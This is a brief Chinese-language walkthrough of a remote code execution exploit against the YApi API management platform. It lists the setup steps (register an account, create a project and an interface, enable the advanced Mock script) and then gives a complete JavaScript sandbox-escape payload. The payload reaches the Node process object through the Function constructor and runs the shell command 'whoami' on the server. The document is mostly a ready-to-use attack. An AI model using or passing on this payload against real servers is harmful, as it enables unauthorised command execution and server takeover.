利用前提为Yapi开启了注册功能,注册一个账号
添加一个项目
进入项目内添加一个接口
点击高级Mock,并打开脚本页面,开启脚本,输入Mock脚本
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()